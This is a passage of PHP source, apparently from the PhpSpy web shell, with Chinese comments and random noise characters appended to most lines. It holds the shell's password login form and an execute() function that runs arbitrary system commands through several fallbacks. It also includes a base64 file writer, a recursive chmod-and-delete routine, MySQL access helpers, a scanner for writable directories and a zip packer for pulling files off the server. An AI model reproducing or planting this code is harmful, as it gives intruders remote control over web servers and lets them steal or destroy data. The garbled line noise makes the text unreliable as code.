  1328. ======================================================*/- w9 @8 ^, d7 B5 e! k  M
  1329. & h$ a; [  l* w9 P- A4 h& `; t" g
  1330. function m($msg) {+ _7 v& Q$ u, n" d
  1331.         echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';5 |4 W& G, }% \, t4 N4 _( D
  1332.         echo $msg;  Y! ?- {3 f) {% |* Y$ Y! B
  1333.         echo '</div>';. d$ Y$ k0 h) ~2 U5 |
  1334. }
    7 W. Z2 W: e; W4 `; [
  1335. function scookie($key, $value, $life = 0, $prefix = 1) {
    - i% x) m! H. s; s# j9 ]" n% {
  1336.         global $admin, $timestamp, $_SERVER;
    2 A8 v) i" K" H, U7 {- [. {
  1337.         $key = ($prefix ? $admin['cookiepre'] : '').$key;
    * e3 T* {* ]3 ?5 F& {
  1338.         $life = $life ? $life : $admin['cookielife'];6 z1 O# J# O! [: F; P8 b8 b" x" q0 M
  1339.         $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;  o$ h! O' p* V& ~# q% \
  1340.         setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
    + `; G6 }& l) T# F( \7 _
  1341. }       
    3 W( H; y2 G5 j
  1342. function multi($num, $perpage, $curpage, $tablename) {! Y1 M/ s% L; U3 Y, r0 U+ v4 M( u
  1343.         $multipage = '';9 |: K' K+ a0 P& E. _; ]
  1344.         if($num > $perpage) {
    5 b$ w) @+ Q* l9 R
  1345.                 $page = 10;
    $ Z3 @4 Q' \1 W
  1346.                 $offset = 5;+ S1 M4 u. V; W( I- ]
  1347.                 $pages = @ceil($num / $perpage);
    0 i4 p8 s- P5 j( q
  1348.                 if($page > $pages) {/ y0 c9 e3 V8 [$ S* F1 ]
  1349.                         $from = 1;- H) B- n- S1 o2 Z# [7 E# t
  1350.                         $to = $pages;
    . d+ X; U7 t- D
  1351.                 } else {0 H7 L7 n4 T+ O
  1352.                         $from = $curpage - $offset;
      u5 f- m8 Q1 {3 v
  1353.                         $to = $curpage + $page - $offset - 1;* U+ u1 I+ Y# u
  1354.                         if($from < 1) {
    8 N/ C0 x& ~4 J. t' s# a
  1355.                                 $to = $curpage + 1 - $from;
    4 `8 E* r% f( a; Z1 W7 V
  1356.                                 $from = 1;
    # F% H) x, G3 O2 V* K
  1357.                                 if(($to - $from) < $page && ($to - $from) < $pages) {) B7 t! r) S$ S7 y
  1358.                                         $to = $page;
    9 Q! A3 N2 h7 d6 d7 [$ Y
  1359.                                 }
    $ }3 A/ M& X: ?8 ?4 ^
  1360.                         } elseif($to > $pages) {# ~( `1 B) [  J$ _, Q
  1361.                                 $from = $curpage - $pages + $to;4 N" Y# C5 }  O9 _' }
  1362.                                 $to = $pages;
    " g6 ~# W  t2 j
  1363.                                 if(($to - $from) < $page && ($to - $from) < $pages) {) i; E& a7 G* G! r) g& {; Y
  1364.                                         $from = $pages - $page + 1;% E* h. v' ?5 I# i" A
  1365.                                 }. g; \2 {% }$ d; Z3 z# J, i
  1366.                         }* v6 c4 C% B8 ~" ]/ \; G0 g
  1367.                 }
    ( {/ I; S0 `/ a$ |. v0 g
  1368.                 $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');
    4 \' T2 d$ H9 i
  1369.                 for($i = $from; $i <= $to; $i++) {1 m0 x( u+ G, i) y+ K& o, n3 P
  1370.                         $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';. F/ _  v7 K' Z9 B! h
  1371.                 }7 ]/ @# W3 x# e4 c  e1 h9 T4 ]
  1372.                 $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');. \; R/ j, a, B/ Z( J* X  u  l, s
  1373.                 $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';
    : n% W3 |7 o6 q; S3 B5 h
  1374.         }/ N7 d  [6 b$ Y9 J9 ~/ X; [5 i  a
  1375.         return $multipage;
    & h( @/ o0 {" i' z4 i8 v/ l" Z
  1376. }8 k& C* p0 V8 `: _% ]/ a8 S- G
  1377. // 登陆入口& {, Y  j& D' n
  1378. function loginpage() {
    : v5 X  [" l3 {/ i. E% I1 S5 g
  1379. ?>
    ( B( u: x$ ~. i! P6 g' N5 x( O
  1380.         <style type="text/css">
    ! W8 J! P) d0 `3 V+ g8 Q4 i3 v) l
  1381.         input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}
    7 y3 ~; i9 v% P- D3 C% m
  1382.         </style>( t. T/ h+ o1 q
  1383.         <form method="POST" action="">
    9 o* T% ~9 p" J. v0 J
  1384.         <span style="font:11px Verdana;">Password: </span><input name="password" type="password" size="20">7 B- L" d4 s4 B/ U
  1385.         <input type="hidden" name="doing" value="login">
    9 g8 V" \0 d$ u) @$ K) C
  1386.         <input type="submit" value="Login">
    5 c' F1 Q3 Z6 P  J9 }6 t
  1387.         </form>  w; Z$ f& u* e' E
  1388. <?php
    * e" J) t1 w* Q' p  Y3 x
  1389.         exit;
    9 q% P  D  ]6 b2 p: d, k& p
  1390. }//end loginpage()
    6 u0 y7 p$ Z4 Z
  1391. 6 @: l4 e' ]1 h% ^
  1392. function execute($cfe) {2 Q9 C) |: X0 T/ T# {
  1393.         $res = '';
    9 u! S4 W0 B4 k
  1394.         if ($cfe) {
    2 D  e# J3 H/ {" F
  1395.                 if(function_exists('exec')) {
    - m- S) c7 l3 f8 M# Q3 ?
  1396.                         @exec($cfe,$res);
    0 d: J4 q. g" V+ J5 a+ v
  1397.                         $res = join("\n",$res);$ N' [4 G: g3 s6 t
  1398.                 } elseif(function_exists('shell_exec')) {
    - Z3 x% u3 S9 R$ S# q7 e9 J
  1399.                         $res = @shell_exec($cfe);( _; s5 k) u/ i; S$ h1 X! u/ [
  1400.                 } elseif(function_exists('system')) {
    9 {' y7 J8 ^  ]% _; g3 O/ G
  1401.                         @ob_start();
    6 L2 M% N3 c- Y" e$ }
  1402.                         @system($cfe);
    + k9 [1 z4 R4 B6 Y! h; K  s6 J
  1403.                         $res = @ob_get_contents();6 X! F, `( d+ o. u3 K; ]5 R0 h
  1404.                         @ob_end_clean();
    0 b1 k( t: p4 L+ [' C& g3 P
  1405.                 } elseif(function_exists('passthru')) {6 t- T8 {- Y, X" v
  1406.                         @ob_start();5 g1 H: ^9 K; Q' c  N
  1407.                         @passthru($cfe);
    + ]6 [# B& U7 X
  1408.                         $res = @ob_get_contents();) t, h6 U' B0 S: e6 F  C2 v
  1409.                         @ob_end_clean();# O6 ?9 ~1 d; M# [" [4 P
  1410.                 } elseif(@is_resource($f = @popen($cfe,"r"))) {+ t/ L" b1 O" ]6 x  R1 z
  1411.                         $res = '';
    7 D& s7 z: V* u* x' e2 c. ?
  1412.                         while(!@feof($f)) {8 l3 m) R  O& B. W+ d* y: J7 l
  1413.                                 $res .= @fread($f,1024); * B4 P% [9 L$ W9 _" ^: e- e9 K
  1414.                         }
    + R+ N, Q3 }. f4 |6 ~; {- a0 F
  1415.                         @pclose($f);
    # ]# m2 I0 v+ D2 }: Q
  1416.                 }
    7 e: [; V. V2 A5 k2 F& n- e6 ~# y
  1417.         }
    ) Q4 |) J( G* |* w; }5 {9 q. |) H
  1418.         return $res;
    , U) D/ i& Y4 |, n, `1 N
  1419. }
    3 x3 y2 l9 y3 o( o0 }! p  }
  1420. function which($pr) {
    / n: Q3 \+ z2 K4 n( D6 K# Z& J9 Q' M1 C
  1421.         $path = execute("which $pr");
    8 V( r- D! {, v
  1422.         return ($path ? $path : $pr);
    9 [3 k! ~  p) x4 ]- j
  1423. }* Z5 D) Y) [9 x3 a5 r2 x0 q# S# |( f

  1424. / Q: G4 r1 c8 b. v
  1425. function cf($fname,$text){2 y7 H  Z/ d, s- H
  1426.         if($fp=@fopen($fname,'w')) {8 l6 T) f( B1 h( E( f+ N# v. f) o
  1427.                 @fputs($fp,@base64_decode($text));
    " W0 {0 m% F) U9 r
  1428.                 @fclose($fp);" i& F1 w/ ]& B, t% F; m
  1429.         }% C! f7 S$ v/ p3 {% H, Y5 U
  1430. }$ @0 C  y* R; @; L

  1431. 9 Q6 F# B" K. \  ?! z! D
  1432. // 页面调试信息3 P! V+ F4 o6 {- |  s
  1433. function debuginfo() {
    * d: L1 h4 }/ g( X2 ?5 w6 u# N
  1434.         global $starttime;  R; q4 ~" \* r, [7 v0 h& \
  1435.         $mtime = explode(' ', microtime());
    ' J: y0 e  i. e  L: d
  1436.         $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);' W: u) X* r9 m
  1437.         echo 'Processed in '.$totaltime.' second(s)';7 E' {* r% S& i  v7 ~
  1438. }
    5 t) L6 Z; d* C) B+ G
  1439. " F6 J8 h- i5 `- \9 w# l% {5 B' |
  1440. //连接数据库! e  k& N! r: B/ a, j+ u
  1441. function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {! V; x! q# a+ R( s4 h- K9 i
  1442.         if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
    ) ?* u; N6 Q- u0 d# C- e$ }
  1443.                 p('<h2>Can not connect to MySQL server</h2>');
    $ ^/ o! b9 H  Q! ^+ J/ s% P
  1444.                 exit;' t+ M1 _, ~  F8 [& u; d, F! g
  1445.         }
      M) J- F& l) C. _& V3 @
  1446.         if($link && $dbname) {
    ; g* ?  T# [- |( O" D* P
  1447.                 if (!@mysql_select_db($dbname, $link)) {" C: c1 W3 Z# [
  1448.                         p('<h2>Database selected has error</h2>');
    ( @5 e4 f% y5 z( M+ o
  1449.                         exit;( {$ F5 Z- k$ K4 c3 E1 g
  1450.                 }1 W" S8 b* r  J. [3 R
  1451.         }
    / c  v& d: O( H
  1452.         if($link && mysql_get_server_info() > '4.1') {( o  W6 w& G: p& b
  1453.                 if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {
    / e6 Q2 a# J) m7 I0 T
  1454.                         q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);8 `4 j2 d8 j4 E$ m" k. Q4 y+ ~
  1455.                 }
    5 L1 N" e3 [; j' A' L2 S/ I! X2 P
  1456.         }9 N- e2 Y; u! U4 \
  1457.         return $link;
    4 M/ f, h7 o& o3 G, ]: g3 O
  1458. }, s' D7 A+ S' N. F; h' z
  1459. ( o; z7 t. M% S8 l/ @
  1460. // 去掉转义字符0 p" ?' b- C; V, T) _
  1461. function s_array(&$array) {
    ' L* e4 ]: i, L& Q# W0 T" E
  1462.         if (is_array($array)) {" ]. R/ H* T- C: p
  1463.                 foreach ($array as $k => $v) {
    4 i5 S/ v* t" v4 j7 k
  1464.                         $array[$k] = s_array($v);
    5 C/ P4 I/ m  C. @2 h6 ~1 H3 X1 V3 q
  1465.                 }
    4 W0 ?5 K9 G4 n0 S
  1466.         } else if (is_string($array)) {
      `" U' d% U( q" s, O: ^; m
  1467.                 $array = stripslashes($array);
    - L5 X4 y- o1 U
  1468.         }, [, q7 u  Z% W3 D& M
  1469.         return $array;
    7 p! i1 ^" t* {3 J% `2 }
  1470. }
    2 {; r+ }) g0 S: Q
  1471. % f( |; M, b# E( Q1 z7 g# h3 i8 O- f( X
  1472. // 清除HTML代码
    0 E9 Q! V2 N: ^
  1473. function html_clean($content) {0 f1 K; i7 A$ f: j0 t0 H: L& }
  1474.         $content = htmlspecialchars($content);% ?; Q" Y5 ~7 C/ i/ h
  1475.         $content = str_replace("\n", "<br />", $content);
    8 x6 v+ C0 r- K+ ?
  1476.         $content = str_replace("  ", "  ", $content);
    9 U& O2 a& Z+ |% ~4 r9 e, i7 `
  1477.         $content = str_replace("\t", "    ", $content);. L. |; _) t5 X/ |" m. r+ ]0 G: o
  1478.         return $content;6 G0 p6 c% Z5 n& D4 B) d
  1479. }
    , a, X" w) H* _

  1480. 4 b( s0 C: a- P+ r# _
  1481. // 获取权限/ M2 d& C( K2 {3 b9 G& b9 N
  1482. function getChmod($filepath){: _! x9 @, ]; |% v
  1483.         return substr(base_convert(@fileperms($filepath),10,8),-4);
    4 P, o; B; B1 B& o8 ~
  1484. }9 @& ^0 P/ ?5 c- n. h- \& Z

  1485. 5 @& k. F  b$ K0 T* J
  1486. function getPerms($filepath) {
    1 |6 @( _# G& o
  1487.         $mode = @fileperms($filepath);
    1 t8 `% x4 F1 \( M+ E9 C
  1488.         if (($mode & 0xC000) === 0xC000) {$type = 's';}
    2 l+ b2 t- t8 z2 T
  1489.         elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
    0 s: i# N8 X3 L1 E
  1490.         elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}
    7 L' j* s+ n+ S8 O
  1491.         elseif (($mode & 0x8000) === 0x8000) {$type = '-';}
    $ X* |5 N8 Q2 j4 b( v3 h. C/ |
  1492.         elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}  W4 F+ J+ v& x! ~" x8 ?% _5 X" t
  1493.         elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}1 ^9 p+ ]. a: W( F
  1494.         elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}% x& a+ Q' K( x/ K' a! c
  1495.         else {$type = '?';}
    " N! l2 a. }( h- d

  1496. 2 B2 @* t3 d2 J0 ?4 _( `6 U2 W- D
  1497.         $owner['read'] = ($mode & 00400) ? 'r' : '-';
    1 y: Y( A; J. R4 g3 E' ?
  1498.         $owner['write'] = ($mode & 00200) ? 'w' : '-';
    5 ]* A2 \! y9 s  d- c
  1499.         $owner['execute'] = ($mode & 00100) ? 'x' : '-';
    ; i1 \4 i0 [6 H* e# l- r+ M  I/ k. q5 [
  1500.         $group['read'] = ($mode & 00040) ? 'r' : '-';
    # m" |! W" V0 d( z; |8 j  ]8 L. C' B
  1501.         $group['write'] = ($mode & 00020) ? 'w' : '-';
    ! R7 W% h% D) V# d( l
  1502.         $group['execute'] = ($mode & 00010) ? 'x' : '-'; ! ]2 S3 H6 i5 K8 Y3 W
  1503.         $world['read'] = ($mode & 00004) ? 'r' : '-'; . |) r% {! I* i, i$ J2 S6 W' C
  1504.         $world['write'] = ($mode & 00002) ? 'w' : '-'; 8 n' _) ~% l- R) J( f
  1505.         $world['execute'] = ($mode & 00001) ? 'x' : '-'; & t. A% @- p( r& s
  1506. . P5 o8 w8 V" ^9 O% b. O% S
  1507.         if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}' S; o2 d- f: r2 u& A) n5 C* \6 A" W
  1508.         if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
    , E* O5 V( ?: R# b7 Y# c5 |. q7 q
  1509.         if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}+ F* e4 f) Z% ?- s5 }
  1510. 5 O, x- ]# h- k9 B. Z& @
  1511.         return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
    * e3 }/ q/ P# E! X3 i
  1512. }) j& k$ q0 j  T8 x$ T  n9 U

  1513. 0 Q4 }# q! \) U3 n& P* s2 D/ l
  1514. function getUser($filepath)        {7 s, |$ R7 f. V! }8 f
  1515.         if (function_exists('posix_getpwuid')) {" a" [8 T1 {- |" w- A/ L
  1516.                 $array = @posix_getpwuid(@fileowner($filepath));
    0 m, R& Q1 n6 ?; ?
  1517.                 if ($array && is_array($array)) {
    : P& n: Y+ N, M" Y
  1518.                         return ' / <a href="#" title="User: '.$array['name'].'
    7 O' I) ~. F* h6 ]1 y/ B
  1519. Passwd: '.$array['passwd'].'
    - e; C2 a% I/ r
  1520. Uid: '.$array['uid'].'4 o) |3 S3 @1 |) F( N, U0 J+ S! ?
  1521. gid: '.$array['gid'].'
    ' h# f7 |5 m' S! u' Q, X: ~0 D$ @
  1522. Gecos: '.$array['gecos'].'
      W$ a7 j) {  A! p2 e
  1523. Dir: '.$array['dir'].'; o9 N. ~6 h3 W8 {1 u8 E6 O
  1524. Shell: '.$array['shell'].'">'.$array['name'].'</a>';
    " T, n+ X$ |. J: ]; @+ n
  1525.                 }4 g  A% A" R1 J' U
  1526.         }
    & M- Q$ x7 h# b+ }$ ?$ R. r7 ?
  1527.         return '';0 Z) U( X0 I; Y8 O2 }% b; p
  1528. }4 \' a. E, p8 ]
  1529. ! t( Z1 J7 w9 r# W) d- f7 n
  1530. // 删除目录9 Q2 x' Y7 l& w3 p
  1531. function deltree($deldir) {
    ( ^! S4 f8 W5 O1 f2 i
  1532.         $mydir=@dir($deldir);        % E1 e8 X- Z' F8 _
  1533.         while($file=$mydir->read())        {                
    8 q2 d3 y1 m. n/ C6 {/ H
  1534.                 if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) { + w! r; X/ D- G
  1535.                         @chmod($deldir.'/'.$file,0777);2 w8 R$ Y7 M: c) t" U
  1536.                         deltree($deldir.'/'.$file);
    / a& }6 p( r7 t; K* M+ m4 m3 y/ Y
  1537.                 }
    ' G2 ]* v/ q. x1 s5 u: c: u
  1538.                 if (is_file($deldir.'/'.$file)) {8 ^5 Q2 Y0 x4 o
  1539.                         @chmod($deldir.'/'.$file,0777);1 F7 b2 b/ I7 t. L) U; o3 n: }) h9 P
  1540.                         @unlink($deldir.'/'.$file);
    3 a, ^9 ~5 K2 ?( n
  1541.                 }
    ) o+ {7 O& v7 v, q' M5 C. G* r: ^
  1542.         } ! m, ^5 N3 b& u1 Z8 U+ r
  1543.         $mydir->close();
      V" c6 \" j, [$ P! P3 ^- G5 O
  1544.         @chmod($deldir,0777);
    " V& _1 H; A% U7 T
  1545.         return @rmdir($deldir) ? 1 : 0;
    6 ^- h* i2 n, L5 D
  1546. }! I4 T3 z' l- N* \/ `4 L! U

  1547. & v" H% [5 h1 U
  1548. // 表格行间的背景色替换
    8 @( w% o; z6 T- Y1 e
  1549. function bg() {
    ' ]; T- N- ]' c- N2 a" w
  1550.         global $bgc;5 I- L5 \/ t9 L0 B; d
  1551.         return ($bgc++%2==0) ? 'alt1' : 'alt2';4 y( a+ G# `5 D1 n$ \2 o7 A" [
  1552. }# V  D& u5 c+ Q$ D* e; h0 c" s
  1553. , a2 C7 G5 R8 p/ q4 B# B
  1554. // 获取当前的文件系统路径5 c$ q% y$ A7 E1 [, B! v1 S
  1555. function getPath($scriptpath, $nowpath) {( m7 j5 E# [! r. O6 q" q
  1556.         if ($nowpath == '.') {
    * ], d( `8 U6 i
  1557.                 $nowpath = $scriptpath;3 k- ^7 k. F( i6 Z" k) Q; ^! H6 C
  1558.         }
    2 _7 K" N, V" ?
  1559.         $nowpath = str_replace('\\', '/', $nowpath);: x: e9 K2 M1 b
  1560.         $nowpath = str_replace('//', '/', $nowpath);, ?* G, f3 e7 a) f% O$ o1 N
  1561.         if (substr($nowpath, -1) != '/') {
    ) W4 X* I% |" G) P7 e; i
  1562.                 $nowpath = $nowpath.'/';. _# Y1 H' n6 ^4 I  R. m+ S6 Q! l6 Q
  1563.         }
    7 l" {6 V) D/ e9 _
  1564.         return $nowpath;0 N2 p$ T' a9 ^; l  T! d
  1565. }$ o) O$ C% ^1 S, `9 p% R) t+ H7 K
  1566. ' D7 N. H8 F5 q0 I" f, t
  1567. // 获取当前目录的上级目录
    7 o& w7 f4 \4 W3 a7 S7 U4 W
  1568. function getUpPath($nowpath) {+ y  ]4 K9 c, q: l# B, q, m8 @) e  C- h
  1569.         $pathdb = explode('/', $nowpath);; v  k. G0 L% P. t
  1570.         $num = count($pathdb);
    5 v$ c0 W7 P: C/ M# g
  1571.         if ($num > 2) {
    ' \5 M, h0 N! W; G5 V1 Q
  1572.                 unset($pathdb[$num-1],$pathdb[$num-2]);  r# r7 v& R4 U, S7 m: ^. y- R
  1573.         }
    % }- s: f! E/ [$ e$ U9 W1 o+ P
  1574.         $uppath = implode('/', $pathdb).'/';" K" w$ e7 p, B: G1 H1 {
  1575.         $uppath = str_replace('//', '/', $uppath);
    . h+ g1 u" d+ U1 g; B- n& P5 L" k. O
  1576.         return $uppath;
    ! ^8 f- @/ G7 S5 U; i
  1577. }* |# m# L! B! D1 t/ t
  1578. 5 o" k! X8 |6 a8 s3 e& S
  1579. // 检查PHP配置参数
    ) p1 y5 N* F$ _; P( z( w) f/ P
  1580. function getcfg($varname) {
    , i5 g6 ^# z1 `
  1581.         $result = get_cfg_var($varname);. P$ I9 R) [- U/ [3 |* {
  1582.         if ($result == 0) {
    4 A$ D, g1 b; K- n. y5 a
  1583.                 return 'No';
    # M& O2 w( G+ _/ j) T. I
  1584.         } elseif ($result == 1) {7 X, D  n+ F2 b. T& G
  1585.                 return 'Yes';
    ; t5 ~) s) _2 o8 z
  1586.         } else {) w( d2 l& T% ^6 u
  1587.                 return $result;
    " t) z  o- ~6 P- A
  1588.         }' g% ]. K4 Z: |# L: Q
  1589. }% J+ E4 M# b/ U1 I
  1590. 1 L# C" t! B1 L6 H- Z- ~: ~
  1591. // 检查函数情况- O. }* h4 ^  ~) k% }
  1592. function getfun($funName) {
    4 Y5 G( n1 ~+ J9 g6 C4 K# H: U
  1593.         return (false !== function_exists($funName)) ? 'Yes' : 'No';
    / D# X1 l3 K: P; a2 Z! n. B
  1594. }  v# \& F' j$ A- B) u2 ^+ K1 q# q

  1595. 3 a- d9 H; |8 U7 R
  1596. function GetList($dir){
      c+ Q, ?6 S1 G1 i& I  x6 F
  1597.         global $dirdata,$j,$nowpath;7 U# `& ^* j" w# q( k4 q5 K
  1598.         !$j && $j=1;
    - n% U! u" |9 k  D5 i
  1599.         if ($dh = opendir($dir)) {! E2 f6 R2 J' X
  1600.                 while ($file = readdir($dh)) {
    6 L7 ?7 M: V. c0 [  S% U
  1601.                         $f=str_replace('//','/',$dir.'/'.$file);2 m. o. Z& j1 e5 u/ }1 P
  1602.                         if($file!='.' && $file!='..' && is_dir($f)){
    , p. D, ?" @+ S( \- Y9 h) x* t2 _" T
  1603.                                 if (is_writable($f)) {, R  l! E# e* @( I
  1604.                                         $dirdata[$j]['filename']=str_replace($nowpath,'',$f);
    8 M( i% h' \3 N  b; g  {
  1605.                                         $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
    " B- |5 b7 q7 d0 ]4 G8 K6 \- e
  1606.                                         $dirdata[$j]['dirchmod']=getChmod($f);
    0 n4 D7 ^0 T7 I# B
  1607.                                         $dirdata[$j]['dirperm']=getPerms($f);
    : U6 q+ _, D5 U" ~% A0 N
  1608.                                         $dirdata[$j]['dirlink']=ue($dir);
    $ L: N) K+ E$ J9 |  k
  1609.                                         $dirdata[$j]['server_link']=$f;
    ) |. T( w$ w/ \) F- {! u4 z6 Y& S
  1610.                                         $dirdata[$j]['client_link']=ue($f);
    3 y3 K0 z) q# X5 L4 h
  1611.                                         $j++;/ K3 t4 l! a" L6 T
  1612.                                 }
    9 J5 ~3 _: d% W/ t. e
  1613.                                 GetList($f);
    8 Z! l4 X* w$ M8 c! K
  1614.                         }
    3 z+ h; s. q0 K. S2 \3 s+ m
  1615.                 }5 M; T" L, T, _- j
  1616.                 closedir($dh);! P) a  F' v7 X  p( g
  1617.                 clearstatcache();
    # B$ a3 z8 s5 b9 I0 l. u2 c
  1618.                 return $dirdata;% C; y' J. O& T. _) D1 f
  1619.         } else {
    ) H7 n6 i* s$ ?# t3 G. J8 ~# Y* ~
  1620.                 return array();9 c1 ^" m* x2 P& I5 O$ ]
  1621.         }
      a" M; n2 d0 X/ e" c
  1622. }! Z5 J' a# Q% i( `' Y) T" y
  1623. . G# |3 C$ h2 _: O
  1624. function qy($sql) { + N" u2 T* `( W: X3 z# B/ q4 J  X: I
  1625.         //echo $sql.'<br>';
    / O: G0 _- y; \4 P2 Z! U2 T% g
  1626.         $res = $error = '';1 u6 J: E+ I! N) w3 F9 K, j0 s' y
  1627.         if(!$res = @mysql_query($sql)) { % t. q" G9 G& C3 [0 z* i; g8 g/ Z- p: d
  1628.                 return 0;/ N# \( h' Y9 R8 K
  1629.         } else if(is_resource($res)) {
    7 w) K& s# |! a( q; A
  1630.                 return 1; 3 K; @! a  M8 n- b! o6 L
  1631.         } else {0 d' X4 ?3 X; K+ e
  1632.                 return 2;/ b" T5 z0 a( @/ Z  a
  1633.         }        ) M! r* M0 \2 A9 b
  1634.         return 0;! R2 d. N- d4 K& D- e5 H) c" O8 ]/ h
  1635. }: V- @) U3 \" Y8 b' B0 B5 C1 W  F

  1636. + j  u* M( |, x: o0 J* ^
  1637. function q($sql) { " L+ w8 B9 d1 X, w2 O
  1638.         return @mysql_query($sql);
    / j! D# Z  @( X
  1639. }
    7 K% |# }- {9 Y" Q7 i

  1640. 1 h6 P' t7 O, K
  1641. function fr($qy){8 \) Z6 ?5 t: j
  1642.         mysql_free_result($qy);/ I3 d! i" ]: t
  1643. }1 A1 F/ ?9 q- N

  1644. ) C. X* H' J0 E
  1645. function sizecount($size) {0 n% s. n; e. j3 H9 ^3 h$ C; R
  1646.         if($size > 1073741824) {* K' G, }0 h# W% K; L1 y# K" g
  1647.                 $size = round($size / 1073741824 * 100) / 100 . ' G';
    9 `# L" N4 ~! @& p6 g* t
  1648.         } elseif($size > 1048576) {  u9 j8 [0 ^; f) r4 X
  1649.                 $size = round($size / 1048576 * 100) / 100 . ' M';
    2 }. u3 K# i$ {+ _1 s
  1650.         } elseif($size > 1024) {& z8 x" h# {9 \
  1651.                 $size = round($size / 1024 * 100) / 100 . ' K';
      q$ K+ }; z: K  G* X1 V
  1652.         } else {/ a3 @% j# q6 Y# N8 c: r, r
  1653.                 $size = $size . ' B';0 j" ?" e' p) T0 X5 Q
  1654.         }$ h/ E! K: d" f6 {0 u$ B5 g
  1655.         return $size;* g7 i- y: g! }
  1656. }
    / X( z" F5 J3 i

  1657. + q6 m2 @  @( x, Z1 z2 K
  1658. // 压缩打包类! k1 ^7 ^/ G; m
  1659. class PHPZip{
    2 T+ Z  a+ J; I) D
  1660.         var $out='';
    % m9 F- _1 K1 ?6 y5 k, O( j
  1661.         function PHPZip($dir)        {
    . l( [$ ^  c& _$ B, z6 V$ U
  1662.                 if (@function_exists('gzcompress'))        {
      S( V4 f! k5 d. x8 x( o$ f
  1663.                         $curdir = getcwd();4 ^# ], Q. M  y4 U" u
  1664.                         if (is_array($dir)) $filelist = $dir;
    5 \* w! e( o' k$ b
  1665.                         else{
    * [. v4 q' W" J8 u) \
  1666.                                 $filelist=$this -> GetFileList($dir);//文件列表" G2 o/ V8 l+ l+ q, w" m  i
  1667.                                 foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
    8 X9 b: K- `# P$ p. Z' b6 y
  1668.                         }, Z8 g8 c/ V0 Z- s
  1669.                         if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);  v+ Q1 z, @3 t- ^! _
  1670.                         else chdir($curdir);
    4 t+ Y; U* O; s; H
  1671.                         if (count($filelist)>0){
    + ]+ A! C+ u; O# B7 o5 F5 X
  1672.                                 foreach($filelist as $filename){  x5 A4 {# w3 ?' N. R0 ~- H. {
  1673.                                         if (is_file($filename)){
    # p1 w* t  B  g( j4 O
  1674.                                                 $fd = fopen ($filename, 'r');8 K( F  r; y4 X; k( _! I* ]$ ^
  1675.                                                 $content = @fread ($fd, filesize($filename));
    / R( N% S4 J5 b  D* O- }4 A' L
  1676.                                                 fclose ($fd);
    / o/ D" J1 M2 T5 b+ R4 E0 ]- p
  1677.                                                 if (is_array($dir)) $filename = basename($filename);/ z0 B; e9 ~# N8 g, D2 T
  1678.                                                 $this -> addFile($content, $filename);+ t5 w0 P  ]: u. a  l. G/ N
  1679.                                         }
    ' ^; z5 `6 y$ {: s6 r$ Z/ Z' Z
  1680.                                 }' h) u5 T. h3 L- t5 _
  1681.                                 $this->out = $this -> file();* w* |' u. G# b, r4 M
  1682.                                 chdir($curdir);# B0 c/ B! M: E+ T, A& e. V2 m6 t
  1683.                         }
    & \, f# N) f6 i( e4 G
  1684.                         return 1;
    ; H3 {0 |: W& E
  1685.                 }! `; W2 f% Y$ r) d
  1686.                 else return 0;  I2 d6 v; l4 O
  1687.         }
    5 `; H; [1 Y  |, e2 X

  1688. 1 p% r# e, a) a& \
  1689.         // 获得指定目录文件列表
    , H1 i6 h9 ~, ^. l6 U
  1690.         function GetFileList($dir){
    4 O$ t! l. Z% F% u8 k% ^' f
  1691.                 static $a;
    / {8 A2 l# ^5 P* \1 I" f3 ^% |
  1692.                 if (is_dir($dir)) {: X. b7 ?* V% \8 L8 M4 h) C2 f
  1693.                         if ($dh = opendir($dir)) {
    ' G% T5 _* |3 h) H1 f
  1694.                                 while ($file = readdir($dh)) {3 L% T  L' r' y. A
  1695.                                         if($file!='.' && $file!='..'){
    ( f; _2 P) i7 T+ D" g1 q; T
  1696.                                                 $f=$dir .'/'. $file;0 s. ^) _: n3 K8 P4 B( p% E, I
  1697.                                                 if(is_dir($f)) $this->GetFileList($f);
    * T3 w% g; m3 Z% S: S
  1698.                                                 $a[]=$f;: c0 B8 A# k9 U0 e
  1699.                                         }, j6 n  o, t% `- W
  1700.                                 }
    ; R, c- A0 N+ P4 F/ t
  1701.                                 closedir($dh);9 S4 V2 |. w0 }7 ^- T- _
  1702.                         }
    + ]! j. v: X& t0 D9 Q) c
  1703.                 }# a; J4 h2 Z1 U6 `7 x4 _
  1704.                 return $a;$ _( K8 J2 f9 S8 k
